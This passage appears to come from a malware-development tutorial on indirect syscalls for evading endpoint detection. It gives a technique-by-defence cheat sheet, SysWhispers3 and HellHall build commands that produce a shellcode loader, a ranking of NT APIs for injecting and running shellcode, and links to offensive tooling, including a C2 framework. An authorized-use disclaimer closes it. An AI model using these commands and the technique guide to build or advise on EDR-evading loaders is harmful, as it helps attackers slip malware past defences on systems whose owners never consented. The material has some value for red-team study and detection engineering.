 │  SysWhispers3 jumper/egg_hunter modes publicly available
 │  CallStackSpoofer (WithSecure) — timer-based at-rest spoofing
 │
Aug 2024
 │  HookChain (DEF CON 32) — operates ABOVE ntdll (IAT layer)
 │  88% EDR bypass rate across 26 solutions
 │  Forces EDR vendors to abandon userland hooks → move to kernel
 │
2025
 │  CET-compliant stack spoofing research (Black Hat Europe 2025)
 │  BYOUD framework — first known CET-compliant stack spoof
 │  EDRs shift fully to kernel callbacks + ETW-Ti STACKWALK
 │
Jun 2026
 │  LACUNA Chain — defeats ETW-Ti STACKWALK
 │  Encrypted params + APC timing window attack + full desync spoof
 │  Bypasses Elastic EDR, Bitdefender, Kaspersky on Win11 + CET

20. Cheat Sheet

Indirect Syscall Technique Selection Guide

SITUATION → TECHNIQUE

EDR uses basic hook inspection:
→ SysWhispers3 jumper mode (--method jumper)

EDR checks return address after syscall:
→ Simple return address spoof (KernelBase gadget replacement)

EDR scans memory for 0F 05 (syscall bytes):
→ SysWhispers3 egg_hunter mode (--method egg_hunter)

ntdll functions are hooked (E9 JMP at start):
→ HellHall (Hell's Gate neighbor scan + indirect JMP into neighbor's syscall)

Need full call stack legitimacy:
→ SilentMoonwalk desync spoofing + indirect syscalls

EDR operates below ntdll level:
→ HookChain (IAT-layer redirect, DEF CON 32 technique)

Need .NET offensive tool:
→ D/Invoke GetSyscallStub (indirect syscall in C#)

Performing ntdll unhooking (ntdll becomes RW during process):
→ win32u.dll gadget fallback (Section 17)

Maximum stealth (modern EDR, ETW-Ti STACKWALK):
→ Indirect syscalls + SilentMoonwalk + AMSI/ETW HWBP bypass
   + module stomping + encrypted shellcode + LACUNA-style APC attack

Direct vs. Indirect Syscall — At a Glance

                    DIRECT SYSCALL          INDIRECT SYSCALL
────────────────────────────────────────────────────────────────
Hook bypass         ✅ Yes                  ✅ Yes
syscall location    Your .exe/RWX memory    ntdll.dll memory
Top of call stack   Your .exe               ntdll (clean)
Return address      Your .exe               Your .exe (partial IOC)
syscall bytes in    Yes (0F 05 in your      No (0F 05 only in ntdll)
your binary         binary)
Detection by stack  ⚠️ Easy (top = .exe)   ⚠️ Partial (deeper frame)
analysis
Best paired with    Halo's Gate / SW2       SilentMoonwalk + HWBP
Complexity          Low                     Medium

Quick Command Reference

# SysWhispers3 — Indirect jumper (MSVC x64)
python syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtProtectVirtualMemory,NtCreateThreadEx --output sc --arch x64 --compiler msvc --method jumper

# SysWhispers3 — Randomized jumper (random ntdll gadget each call)
python syswhispers.py --preset common --output sc_rand --method jumper_randomized

# SysWhispers3 — Egg hunter (no syscall bytes on disk)
python syswhispers.py --preset common --output sc_egg --method egg_hunter

# SysWhispers3 — MinGW (compile from Linux)
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output sc_mingw --compiler mingw --method jumper

# SysWhispers3 — int2eh (old x86 style, for WOW64 bypass)
python syswhispers.py --preset common --output sc_x86 --arch x86 --int2eh

# HellHall build (MSVC)
ml64.exe /c AsmHell.asm
cl.exe /c main.c hellhall.c
link.exe /OUT:loader.exe main.obj hellhall.obj AsmHell.obj

# MinGW cross-compile
x86_64-w64-mingw32-gcc loader.c sc.c sc-asm.x64.s -o loader.exe -masm=intel -lntdll

Key NT Function Reference (Indirect Syscall Priority)

Function                    Purpose                         Priority for Indirect?
──────────────────────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory     Allocate memory                 ★★★★★ Always use
NtWriteVirtualMemory        Write shellcode to memory       ★★★★★ Always use
NtProtectVirtualMemory      Change RW → RX                  ★★★★★ Always use
NtCreateThreadEx            Create execution thread         ★★★★★ Always use
NtOpenProcess               Get process handle              ★★★★☆ Use for injection
NtCreateSection             Create section (alternative)    ★★★★☆ Use instead of Alloc
NtMapViewOfSection          Map section into process        ★★★★☆ Use with CreateSection
NtQueueApcThread            APC injection                   ★★★☆☆ Use for APC
NtSuspendThread             Suspend for thread hijack       ★★★☆☆ Use for hijacking
NtSetContextThread          Set registers (thread hijack)   ★★★☆☆ Use for hijacking
NtWaitForSingleObject       Wait for thread exit            ★★☆☆☆ Optional
NtClose                     Close handle                    ★☆☆☆☆ Low risk without

Tool GitHub Quick Reference

HellHall            : github.com/Maldev-Academy/HellHall
SysWhispers3        : github.com/klezVirus/SysWhispers3
SilentMoonwalk      : github.com/klezVirus/SilentMoonwalk
AtomLdr             : github.com/NUL0x4C/AtomLdr
MaldevAcademyLdr.1  : github.com/Maldev-Academy/MaldevAcademyLdr.1
HookChain           : github.com/helviojunior/hookchain
DInvoke             : github.com/TheWover/DInvoke
DarkWidow           : github.com/reveng007/DarkWidow
VulcanRaven         : github.com/WithSecureLabs/VulcanRaven
SysWhispers4        : github.com/joasasantos/SysWhispers4
NimlineWhispers3    : github.com/klezVirus/NimlineWhispers3
Havoc C2            : github.com/HavocFramework/Havoc

Note: All techniques described in this document are for authorized red team operations, penetration testing, and security research only. Unauthorized use against systems without explicit permission is illegal.

← Malware development top ↑